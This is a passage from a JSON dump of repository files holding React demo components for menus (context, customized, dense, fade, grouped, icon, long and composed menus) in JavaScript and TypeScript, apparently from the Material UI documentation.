!== null\n            ? { top: contextMenu.mouseY, left: contextMenu.mouseX }\n            : undefined\n        }\n      >\n        <MenuItem onClick={handleClose}>Copy</MenuItem>\n        <MenuItem onClick={handleClose}>Print</MenuItem>\n        <MenuItem onClick={handleClose}>Highlight</MenuItem>\n        <MenuItem onClick={handleClose}>Email</MenuItem>\n      </Menu>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/ContextMenu.tsx",
    "content": "import * as React from 'react';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport Typography from '@mui/material/Typography';\n\nexport default function ContextMenu() {\n  const [contextMenu, setContextMenu] = React.useState<{\n    mouseX: number;\n    mouseY: number;\n  } | null>(null);\n\n  const handleContextMenu = (event: React.MouseEvent) => {\n    event.preventDefault();\n\n    setContextMenu(\n      contextMenu === null\n        ? {\n            mouseX: event.clientX + 2,\n            mouseY: event.clientY - 6,\n          }\n        : // repeated contextmenu when it is already open closes it with Chrome 84 on Ubuntu\n          // Other native context menus might behave different.\n          // With this behavior we prevent contextmenu from the backdrop to re-locale existing context menus.\n          null,\n    );\n\n    // Prevent text selection lost after opening the context menu on Safari and Firefox\n    const selection = document.getSelection();\n    if (selection && selection.rangeCount > 0) {\n      const range = selection.getRangeAt(0);\n\n      setTimeout(() => {\n        selection.addRange(range);\n      });\n    }\n  };\n\n  const handleClose = () => {\n    setContextMenu(null);\n  };\n\n  return (\n    <div onContextMenu={handleContextMenu} style={{ cursor: 'context-menu' }}>\n      <Typography>\n        Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ipsum purus,\n        bibendum sit amet vulputate eget, porta semper ligula. Donec bibendum\n        vulputate erat, ac fringilla mi finibus nec. Donec ac dolor sed dolor\n        porttitor blandit vel vel purus. Fusce vel malesuada ligula. Nam quis\n        vehicula ante, eu finibus est. Proin ullamcorper fermentum orci, quis finibus\n        massa. Nunc lobortis, massa ut rutrum ultrices, metus metus finibus ex, sit\n        amet facilisis neque enim sed neque. Quisque accumsan metus vel maximus\n        consequat. Suspendisse lacinia tellus a libero volutpat maximus.\n      </Typography>\n      <Menu\n        open={contextMenu !== null}\n        onClose={handleClose}\n        anchorReference=\"anchorPosition\"\n        anchorPosition={\n          contextMenu !== null\n            ? { top: contextMenu.mouseY, left: contextMenu.mouseX }\n            : undefined\n        }\n      >\n        <MenuItem onClick={handleClose}>Copy</MenuItem>\n        <MenuItem onClick={handleClose}>Print</MenuItem>\n        <MenuItem onClick={handleClose}>Highlight</MenuItem>\n        <MenuItem onClick={handleClose}>Email</MenuItem>\n      </Menu>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/CustomizedMenus.js",
    "content": "import * as React from 'react';\nimport { styled, alpha } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport EditIcon from '@mui/icons-material/Edit';\nimport Divider from '@mui/material/Divider';\nimport ArchiveIcon from '@mui/icons-material/Archive';\nimport FileCopyIcon from '@mui/icons-material/FileCopy';\nimport MoreHorizIcon from '@mui/icons-material/MoreHoriz';\nimport KeyboardArrowDownIcon from '@mui/icons-material/KeyboardArrowDown';\n\nconst StyledMenu = styled((props) => (\n  <Menu\n    elevation={0}\n    anchorOrigin={{\n      vertical: 'bottom',\n      horizontal: 'right',\n    }}\n    transformOrigin={{\n      vertical: 'top',\n      horizontal: 'right',\n    }}\n    {...props}\n  />\n))(({ theme }) => ({\n  '& .MuiPaper-root': {\n    borderRadius: 6,\n    marginTop: theme.spacing(1),\n    minWidth: 180,\n    color: 'rgb(55, 65, 81)',\n    boxShadow:\n      'rgb(255, 255, 255) 0px 0px 0px 0px, rgba(0, 0, 0, 0.05) 0px 0px 0px 1px, rgba(0, 0, 0, 0.1) 0px 10px 15px -3px, rgba(0, 0, 0, 0.05) 0px 4px 6px -2px',\n    '& .MuiMenu-list': {\n      padding: '4px 0',\n    },\n    '& .MuiMenuItem-root': {\n      '& .MuiSvgIcon-root': {\n        fontSize: 18,\n        color: theme.palette.text.secondary,\n        marginRight: theme.spacing(1.5),\n        ...theme.applyStyles('dark', {\n          color: 'inherit',\n        }),\n      },\n      '&:active': {\n        backgroundColor: alpha(\n          theme.palette.primary.main,\n          theme.palette.action.selectedOpacity,\n        ),\n      },\n    },\n    ...theme.applyStyles('dark', {\n      color: theme.palette.grey[300],\n    }),\n  },\n}));\n\nexport default function CustomizedMenus() {\n  const [anchorEl, setAnchorEl] = React.useState(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  return (\n    <div>\n      <Button\n        id=\"demo-customized-button\"\n        aria-controls={open ? 'demo-customized-menu' : undefined}\n        aria-haspopup=\"true\"\n        aria-expanded={open ? 'true' : undefined}\n        variant=\"contained\"\n        disableElevation\n        onClick={handleClick}\n        endIcon={<KeyboardArrowDownIcon />}\n      >\n        Options\n      </Button>\n      <StyledMenu\n        id=\"demo-customized-menu\"\n        slotProps={{\n          list: {\n            'aria-labelledby': 'demo-customized-button',\n          },\n        }}\n        anchorEl={anchorEl}\n        open={open}\n        onClose={handleClose}\n      >\n        <MenuItem onClick={handleClose} disableRipple>\n          <EditIcon />\n          Edit\n        </MenuItem>\n        <MenuItem onClick={handleClose} disableRipple>\n          <FileCopyIcon />\n          Duplicate\n        </MenuItem>\n        <Divider sx={{ my: 0.5 }} />\n        <MenuItem onClick={handleClose} disableRipple>\n          <ArchiveIcon />\n          Archive\n        </MenuItem>\n        <MenuItem onClick={handleClose} disableRipple>\n          <MoreHorizIcon />\n          More\n        </MenuItem>\n      </StyledMenu>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/CustomizedMenus.tsx",
    "content": "import * as React from 'react';\nimport { styled, alpha } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Menu, { MenuProps } from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport EditIcon from '@mui/icons-material/Edit';\nimport Divider from '@mui/material/Divider';\nimport ArchiveIcon from '@mui/icons-material/Archive';\nimport FileCopyIcon from '@mui/icons-material/FileCopy';\nimport MoreHorizIcon from '@mui/icons-material/MoreHoriz';\nimport KeyboardArrowDownIcon from '@mui/icons-material/KeyboardArrowDown';\n\nconst StyledMenu = styled((props: MenuProps) => (\n  <Menu\n    elevation={0}\n    anchorOrigin={{\n      vertical: 'bottom',\n      horizontal: 'right',\n    }}\n    transformOrigin={{\n      vertical: 'top',\n      horizontal: 'right',\n    }}\n    {...props}\n  />\n))(({ theme }) => ({\n  '& .MuiPaper-root': {\n    borderRadius: 6,\n    marginTop: theme.spacing(1),\n    minWidth: 180,\n    color: 'rgb(55, 65, 81)',\n    boxShadow:\n      'rgb(255, 255, 255) 0px 0px 0px 0px, rgba(0, 0, 0, 0.05) 0px 0px 0px 1px, rgba(0, 0, 0, 0.1) 0px 10px 15px -3px, rgba(0, 0, 0, 0.05) 0px 4px 6px -2px',\n    '& .MuiMenu-list': {\n      padding: '4px 0',\n    },\n    '& .MuiMenuItem-root': {\n      '& .MuiSvgIcon-root': {\n        fontSize: 18,\n        color: theme.palette.text.secondary,\n        marginRight: theme.spacing(1.5),\n        ...theme.applyStyles('dark', {\n          color: 'inherit',\n        }),\n      },\n      '&:active': {\n        backgroundColor: alpha(\n          theme.palette.primary.main,\n          theme.palette.action.selectedOpacity,\n        ),\n      },\n    },\n    ...theme.applyStyles('dark', {\n      color: theme.palette.grey[300],\n    }),\n  },\n}));\n\nexport default function CustomizedMenus() {\n  const [anchorEl, setAnchorEl] = React.useState<null | HTMLElement>(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event: React.MouseEvent<HTMLElement>) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  return (\n    <div>\n      <Button\n        id=\"demo-customized-button\"\n        aria-controls={open ? 'demo-customized-menu' : undefined}\n        aria-haspopup=\"true\"\n        aria-expanded={open ? 'true' : undefined}\n        variant=\"contained\"\n        disableElevation\n        onClick={handleClick}\n        endIcon={<KeyboardArrowDownIcon />}\n      >\n        Options\n      </Button>\n      <StyledMenu\n        id=\"demo-customized-menu\"\n        slotProps={{\n          list: {\n            'aria-labelledby': 'demo-customized-button',\n          },\n        }}\n        anchorEl={anchorEl}\n        open={open}\n        onClose={handleClose}\n      >\n        <MenuItem onClick={handleClose} disableRipple>\n          <EditIcon />\n          Edit\n        </MenuItem>\n        <MenuItem onClick={handleClose} disableRipple>\n          <FileCopyIcon />\n          Duplicate\n        </MenuItem>\n        <Divider sx={{ my: 0.5 }} />\n        <MenuItem onClick={handleClose} disableRipple>\n          <ArchiveIcon />\n          Archive\n        </MenuItem>\n        <MenuItem onClick={handleClose} disableRipple>\n          <MoreHorizIcon />\n          More\n        </MenuItem>\n      </StyledMenu>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/DenseMenu.js",
    "content": "import Paper from '@mui/material/Paper';\nimport Divider from '@mui/material/Divider';\nimport MenuList from '@mui/material/MenuList';\nimport MenuItem from '@mui/material/MenuItem';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Check from '@mui/icons-material/Check';\n\nexport default function DenseMenu() {\n  return (\n    <Paper sx={{ width: 320 }}>\n      <MenuList dense>\n        <MenuItem>\n          <ListItemText inset>Single</ListItemText>\n        </MenuItem>\n        <MenuItem>\n          <ListItemText inset>1.15</ListItemText>\n        </MenuItem>\n        <MenuItem>\n          <ListItemText inset>Double</ListItemText>\n        </MenuItem>\n        <MenuItem>\n          <ListItemIcon>\n            <Check />\n          </ListItemIcon>\n          Custom: 1.2\n        </MenuItem>\n        <Divider />\n        <MenuItem>\n          <ListItemText>Add space before paragraph</ListItemText>\n        </MenuItem>\n        <MenuItem>\n          <ListItemText>Add space after paragraph</ListItemText>\n        </MenuItem>\n        <Divider />\n        <MenuItem>\n          <ListItemText>Custom spacing…</ListItemText>\n        </MenuItem>\n      </MenuList>\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/DenseMenu.tsx",
    "content": "import Paper from '@mui/material/Paper';\nimport Divider from '@mui/material/Divider';\nimport MenuList from '@mui/material/MenuList';\nimport MenuItem from '@mui/material/MenuItem';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Check from '@mui/icons-material/Check';\n\nexport default function DenseMenu() {\n  return (\n    <Paper sx={{ width: 320 }}>\n      <MenuList dense>\n        <MenuItem>\n          <ListItemText inset>Single</ListItemText>\n        </MenuItem>\n        <MenuItem>\n          <ListItemText inset>1.15</ListItemText>\n        </MenuItem>\n        <MenuItem>\n          <ListItemText inset>Double</ListItemText>\n        </MenuItem>\n        <MenuItem>\n          <ListItemIcon>\n            <Check />\n          </ListItemIcon>\n          Custom: 1.2\n        </MenuItem>\n        <Divider />\n        <MenuItem>\n          <ListItemText>Add space before paragraph</ListItemText>\n        </MenuItem>\n        <MenuItem>\n          <ListItemText>Add space after paragraph</ListItemText>\n        </MenuItem>\n        <Divider />\n        <MenuItem>\n          <ListItemText>Custom spacing…</ListItemText>\n        </MenuItem>\n      </MenuList>\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/FadeMenu.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport Fade from '@mui/material/Fade';\n\nexport default function FadeMenu() {\n  const [anchorEl, setAnchorEl] = React.useState(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  return (\n    <div>\n      <Button\n        id=\"fade-button\"\n        aria-controls={open ? 'fade-menu' : undefined}\n        aria-haspopup=\"true\"\n        aria-expanded={open ? 'true' : undefined}\n        onClick={handleClick}\n      >\n        Dashboard\n      </Button>\n      <Menu\n        id=\"fade-menu\"\n        slotProps={{\n          list: {\n            'aria-labelledby': 'fade-button',\n          },\n        }}\n        slots={{ transition: Fade }}\n        anchorEl={anchorEl}\n        open={open}\n        onClose={handleClose}\n      >\n        <MenuItem onClick={handleClose}>Profile</MenuItem>\n        <MenuItem onClick={handleClose}>My account</MenuItem>\n        <MenuItem onClick={handleClose}>Logout</MenuItem>\n      </Menu>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/FadeMenu.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport Fade from '@mui/material/Fade';\n\nexport default function FadeMenu() {\n  const [anchorEl, setAnchorEl] = React.useState<null | HTMLElement>(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event: React.MouseEvent<HTMLElement>) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  return (\n    <div>\n      <Button\n        id=\"fade-button\"\n        aria-controls={open ? 'fade-menu' : undefined}\n        aria-haspopup=\"true\"\n        aria-expanded={open ? 'true' : undefined}\n        onClick={handleClick}\n      >\n        Dashboard\n      </Button>\n      <Menu\n        id=\"fade-menu\"\n        slotProps={{\n          list: {\n            'aria-labelledby': 'fade-button',\n          },\n        }}\n        slots={{ transition: Fade }}\n        anchorEl={anchorEl}\n        open={open}\n        onClose={handleClose}\n      >\n        <MenuItem onClick={handleClose}>Profile</MenuItem>\n        <MenuItem onClick={handleClose}>My account</MenuItem>\n        <MenuItem onClick={handleClose}>Logout</MenuItem>\n      </Menu>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/GroupedMenu.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport { styled } from '@mui/material/styles';\n\nconst StyledListHeader = Object.assign(\n  styled(ListSubheader)({\n    backgroundImage: 'var(--Paper-overlay)',\n  }),\n  {\n    // IMPORTANT: The base ListSubheader component sets `muiSkipListHighlight = true`\n    // by default, but wrapping it with `styled(ListSubheader)` does not preserve\n    // that static field. We re-declare it here so the menu list continues to skip\n    // highlighting this non-focusable subheader when navigating with the keyboard.\n    muiSkipListHighlight: true,\n  },\n);\n\nexport default function GroupedMenu() {\n  const [anchorEl, setAnchorEl] = React.useState(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  return (\n    <div>\n      <Button\n        id=\"basic-button\"\n        aria-controls={open ? 'grouped-menu' : undefined}\n        aria-haspopup=\"true\"\n        aria-expanded={open ? 'true' : undefined}\n        onClick={handleClick}\n      >\n        Dashboard\n      </Button>\n      <Menu\n        id=\"grouped-menu\"\n        anchorEl={anchorEl}\n        open={open}\n        onClose={handleClose}\n        slotProps={{\n          list: {\n            'aria-labelledby': 'basic-button',\n            sx: {\n              py: 0,\n            },\n          },\n        }}\n      >\n        <StyledListHeader>Category 1</StyledListHeader>\n        <MenuItem onClick={handleClose}>Option 1</MenuItem>\n        <MenuItem onClick={handleClose}>Option 2</MenuItem>\n        <StyledListHeader>Category 2</StyledListHeader>\n        <MenuItem onClick={handleClose}>Option 3</MenuItem>\n        <MenuItem onClick={handleClose}>Option 4</MenuItem>\n      </Menu>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/GroupedMenu.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport { styled } from '@mui/material/styles';\n\nconst StyledListHeader = Object.assign(\n  styled(ListSubheader)({\n    backgroundImage: 'var(--Paper-overlay)',\n  }),\n  {\n    // IMPORTANT: The base ListSubheader component sets `muiSkipListHighlight = true`\n    // by default, but wrapping it with `styled(ListSubheader)` does not preserve\n    // that static field. We re-declare it here so the menu list continues to skip\n    // highlighting this non-focusable subheader when navigating with the keyboard.\n    muiSkipListHighlight: true,\n  },\n);\n\nexport default function GroupedMenu() {\n  const [anchorEl, setAnchorEl] = React.useState<null | HTMLElement>(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event: React.MouseEvent<HTMLButtonElement>) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  return (\n    <div>\n      <Button\n        id=\"basic-button\"\n        aria-controls={open ? 'grouped-menu' : undefined}\n        aria-haspopup=\"true\"\n        aria-expanded={open ? 'true' : undefined}\n        onClick={handleClick}\n      >\n        Dashboard\n      </Button>\n      <Menu\n        id=\"grouped-menu\"\n        anchorEl={anchorEl}\n        open={open}\n        onClose={handleClose}\n        slotProps={{\n          list: {\n            'aria-labelledby': 'basic-button',\n            sx: {\n              py: 0,\n            },\n          },\n        }}\n      >\n        <StyledListHeader>Category 1</StyledListHeader>\n        <MenuItem onClick={handleClose}>Option 1</MenuItem>\n        <MenuItem onClick={handleClose}>Option 2</MenuItem>\n        <StyledListHeader>Category 2</StyledListHeader>\n        <MenuItem onClick={handleClose}>Option 3</MenuItem>\n        <MenuItem onClick={handleClose}>Option 4</MenuItem>\n      </Menu>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/IconMenu.js",
    "content": "import Divider from '@mui/material/Divider';\nimport Paper from '@mui/material/Paper';\nimport MenuList from '@mui/material/MenuList';\nimport MenuItem from '@mui/material/MenuItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport Typography from '@mui/material/Typography';\nimport ContentCut from '@mui/icons-material/ContentCut';\nimport ContentCopy from '@mui/icons-material/ContentCopy';\nimport ContentPaste from '@mui/icons-material/ContentPaste';\nimport Cloud from '@mui/icons-material/Cloud';\n\nexport default function IconMenu() {\n  return (\n    <Paper sx={{ width: 320, maxWidth: '100%' }}>\n      <MenuList>\n        <MenuItem>\n          <ListItemIcon>\n            <ContentCut fontSize=\"small\" />\n          </ListItemIcon>\n          <ListItemText>Cut</ListItemText>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n            ⌘X\n          </Typography>\n        </MenuItem>\n        <MenuItem>\n          <ListItemIcon>\n            <ContentCopy fontSize=\"small\" />\n          </ListItemIcon>\n          <ListItemText>Copy</ListItemText>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n            ⌘C\n          </Typography>\n        </MenuItem>\n        <MenuItem>\n          <ListItemIcon>\n            <ContentPaste fontSize=\"small\" />\n          </ListItemIcon>\n          <ListItemText>Paste</ListItemText>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n            ⌘V\n          </Typography>\n        </MenuItem>\n        <Divider />\n        <MenuItem>\n          <ListItemIcon>\n            <Cloud fontSize=\"small\" />\n          </ListItemIcon>\n          <ListItemText>Web Clipboard</ListItemText>\n        </MenuItem>\n      </MenuList>\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/IconMenu.tsx",
    "content": "import Divider from '@mui/material/Divider';\nimport Paper from '@mui/material/Paper';\nimport MenuList from '@mui/material/MenuList';\nimport MenuItem from '@mui/material/MenuItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport Typography from '@mui/material/Typography';\nimport ContentCut from '@mui/icons-material/ContentCut';\nimport ContentCopy from '@mui/icons-material/ContentCopy';\nimport ContentPaste from '@mui/icons-material/ContentPaste';\nimport Cloud from '@mui/icons-material/Cloud';\n\nexport default function IconMenu() {\n  return (\n    <Paper sx={{ width: 320, maxWidth: '100%' }}>\n      <MenuList>\n        <MenuItem>\n          <ListItemIcon>\n            <ContentCut fontSize=\"small\" />\n          </ListItemIcon>\n          <ListItemText>Cut</ListItemText>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n            ⌘X\n          </Typography>\n        </MenuItem>\n        <MenuItem>\n          <ListItemIcon>\n            <ContentCopy fontSize=\"small\" />\n          </ListItemIcon>\n          <ListItemText>Copy</ListItemText>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n            ⌘C\n          </Typography>\n        </MenuItem>\n        <MenuItem>\n          <ListItemIcon>\n            <ContentPaste fontSize=\"small\" />\n          </ListItemIcon>\n          <ListItemText>Paste</ListItemText>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n            ⌘V\n          </Typography>\n        </MenuItem>\n        <Divider />\n        <MenuItem>\n          <ListItemIcon>\n            <Cloud fontSize=\"small\" />\n          </ListItemIcon>\n          <ListItemText>Web Clipboard</ListItemText>\n        </MenuItem>\n      </MenuList>\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/LongMenu.js",
    "content": "import * as React from 'react';\nimport IconButton from '@mui/material/IconButton';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport MoreVertIcon from '@mui/icons-material/MoreVert';\n\nconst options = [\n  'None',\n  'Atria',\n  'Callisto',\n  'Dione',\n  'Ganymede',\n  'Hangouts Call',\n  'Luna',\n  'Oberon',\n  'Phobos',\n  'Pyxis',\n  'Sedna',\n  'Titania',\n  'Triton',\n  'Umbriel',\n];\n\nconst ITEM_HEIGHT = 48;\n\nexport default function LongMenu() {\n  const [anchorEl, setAnchorEl] = React.useState(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  return (\n    <div>\n      <IconButton\n        aria-label=\"more\"\n        id=\"long-button\"\n        aria-controls={open ? 'long-menu' : undefined}\n        aria-expanded={open ? 'true' : undefined}\n        aria-haspopup=\"true\"\n        onClick={handleClick}\n      >\n        <MoreVertIcon />\n      </IconButton>\n      <Menu\n        id=\"long-menu\"\n        anchorEl={anchorEl}\n        open={open}\n        onClose={handleClose}\n        slotProps={{\n          paper: {\n            style: {\n              maxHeight: ITEM_HEIGHT * 4.5,\n              width: '20ch',\n            },\n          },\n          list: {\n            'aria-labelledby': 'long-button',\n          },\n        }}\n      >\n        {options.map((option) => (\n          <MenuItem key={option} selected={option === 'Pyxis'} onClick={handleClose}>\n            {option}\n          </MenuItem>\n        ))}\n      </Menu>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/LongMenu.tsx",
    "content": "import * as React from 'react';\nimport IconButton from '@mui/material/IconButton';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport MoreVertIcon from '@mui/icons-material/MoreVert';\n\nconst options = [\n  'None',\n  'Atria',\n  'Callisto',\n  'Dione',\n  'Ganymede',\n  'Hangouts Call',\n  'Luna',\n  'Oberon',\n  'Phobos',\n  'Pyxis',\n  'Sedna',\n  'Titania',\n  'Triton',\n  'Umbriel',\n];\n\nconst ITEM_HEIGHT = 48;\n\nexport default function LongMenu() {\n  const [anchorEl, setAnchorEl] = React.useState<null | HTMLElement>(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event: React.MouseEvent<HTMLElement>) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  return (\n    <div>\n      <IconButton\n        aria-label=\"more\"\n        id=\"long-button\"\n        aria-controls={open ? 'long-menu' : undefined}\n        aria-expanded={open ? 'true' : undefined}\n        aria-haspopup=\"true\"\n        onClick={handleClick}\n      >\n        <MoreVertIcon />\n      </IconButton>\n      <Menu\n        id=\"long-menu\"\n        anchorEl={anchorEl}\n        open={open}\n        onClose={handleClose}\n        slotProps={{\n          paper: {\n            style: {\n              maxHeight: ITEM_HEIGHT * 4.5,\n              width: '20ch',\n            },\n          },\n          list: {\n            'aria-labelledby': 'long-button',\n          },\n        }}\n      >\n        {options.map((option) => (\n          <MenuItem key={option} selected={option === 'Pyxis'} onClick={handleClose}>\n            {option}\n          </MenuItem>\n        ))}\n      </Menu>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/MenuListComposition.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport ClickAwayListener from '@mui/material/ClickAwayListener';\nimport Grow from '@mui/material/Grow';\nimport Paper from '@mui/material/Paper';\nimport Popper from '@mui/material/Popper';\nimport MenuItem from '@mui/material/MenuItem';\nimport MenuList from '@mui/material/MenuList';\nimport Stack from '@mui/material/Stack';\n\nexport default function MenuListComposition() {\n  const [open, setOpen] = React.useState(false);\n  const anchorRef = React.useRef(null);\n\n  const handleToggle = () => {\n    setOpen((prevOpen) => !prevOpen);\n  };\n\n  const handleClose = (event) => {\n    if (anchorRef.current && anchorRef.current.contains(event.target)) {\n      return;\n    }\n\n    setOpen(false);\n  };\n\n  function handleListKeyDown(event) {\n    if (event.key === 'Tab') {\n      event.preventDefault();\n      setOpen(false);\n    } else if (event.key === 'Escape') {\n      setOpen(false);\n    }\n  }\n\n  // return focus to the button when we transitioned from !open -> open\n  const prevOpen = React.useRef(open);\n  React.useEffect(() => {\n    if (prevOpen.current === true && open === false) {\n      anchorRef.current.focus();\n    }\n\n    prevOpen.current = open;\n  }, [open]);\n\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Paper>\n        <MenuList>\n          <MenuItem>Profile</MenuItem>\n          <MenuItem>My account</MenuItem>\n          <MenuItem>Logout</MenuItem>\n        </MenuList>\n      </Paper>\n      <div>\n        <Button\n          ref={anchorRef}\n          id=\"composition-button\"\n          aria-controls={open ? 'composition-menu' : undefined}\n          aria-expanded={open ? 'true' : undefined}\n          aria-haspopup=\"true\"\n          onClick={handleToggle}\n        >\n          Dashboard\n        </Button>\n        <Popper\n          open={open}\n          anchorEl={anchorRef.current}\n          role={undefined}\n          placement=\"bottom-start\"\n          transition\n          disablePortal\n        >\n          {({ TransitionProps, placement }) => (\n            <Grow\n              {...TransitionProps}\n              style={{\n                transformOrigin:\n                  placement === 'bottom-start' ? 'left top' : 'left bottom',\n              }}\n            >\n              <Paper>\n                <ClickAwayListener onClickAway={handleClose}>\n                  <MenuList\n                    autoFocusItem={open}\n                    id=\"composition-menu\"\n                    aria-labelledby=\"composition-button\"\n                    onKeyDown={handleListKeyDown}\n                  >\n                    <MenuItem onClick={handleClose}>Profile</MenuItem>\n                    <MenuItem onClick={handleClose}>My account</MenuItem>\n                    <MenuItem onClick={handleClose}>Logout</MenuItem>\n                  </MenuList>\n                </ClickAwayListener>\n              </Paper>\n            </Grow>\n          )}\n        </Popper>\n      </div>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/MenuListComposition.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport ClickAwayListener from '@mui/material/ClickAwayListener';\nimport Grow from '@mui/material/Grow';\nimport Paper from '@mui/material/Paper';\nimport Popper from '@mui/material/Popper';\nimport MenuItem from '@mui/material/MenuItem';\nimport MenuList from '@mui/material/MenuList';\nimport Stack from '@mui/material/Stack';\n\nexport default function MenuListComposition() {\n  const [open, setOpen] = React.useState(false);\n  const anchorRef = React.useRef<HTMLButtonElement>(null);\n\n  const handleToggle = () => {\n    setOpen((prevOpen) => !prevOpen);\n  };\n\n  const handleClose = (event: Event | React.SyntheticEvent) => {\n    if (\n      anchorRef.current &&\n      anchorRef.current.contains(event.target as HTMLElement)\n    ) {\n      return;\n    }\n\n    setOpen(false);\n  };\n\n  function handleListKeyDown(event: React.KeyboardEvent) {\n    if (event.key === 'Tab') {\n      event.preventDefault();\n      setOpen(false);\n    } else if (event.key === 'Escape') {\n      setOpen(false);\n    }\n  }\n\n  // return focus to the button when we transitioned from !open -> open\n  const prevOpen = React.useRef(open);\n  React.useEffect(() => {\n    if (prevOpen.current === true && open === false) {\n      anchorRef.current!.focus();\n    }\n\n    prevOpen.current = open;\n  }, [open]);\n\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Paper>\n        <MenuList>\n          <MenuItem>Profile</MenuItem>\n          <MenuItem>My account</MenuItem>\n          <MenuItem>Logout</MenuItem>\n        </MenuList>\n      </Paper>\n      <div>\n        <Button\n          ref={anchorRef}\n          id=\"composition-button\"\n          aria-controls={open ? 'composition-menu' : undefined}\n          aria-expanded={open ? 'true' : undefined}\n          aria-haspopup=\"true\"\n          onClick={handleToggle}\n        >\n          Dashboard\n        </Button>\n        <Popper\n          open={open}\n          anchorEl={anchorRef.current}\n          role={undefined}\n          placement=\"bottom-start\"\n          transition\n          disablePortal\n        >\n          {({ TransitionProps, placement }) => (\n            <Grow\n              {...TransitionProps}\n              style={{\n                transformOrigin:\n                  placement === 'bottom-start' ? 'left top' : 'left bottom',\n              }}\n            >\n              <Paper>\n                <ClickAwayListener onClickAway={handleClose}>\n                  <MenuList\n                    autoFocusItem={open}\n                    id=\"composition-menu\"\n                    aria-labelledby=\"composition-button\"\n                    onKeyDown={handleListKeyDown}\n                  >\n                    <MenuItem onClick={handleClose}>Profile</MenuItem>\n                    <MenuItem onClick={handleClose}>My account</MenuItem>\n                    <MenuItem onClick={handleClose}>Logout</MenuItem>\n                  </MenuList>\n                </ClickAwayListener>\n              </Paper>\n            </Grow>\n          )}\n        </Popper>\n      </div>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/MenuPopupState.js",
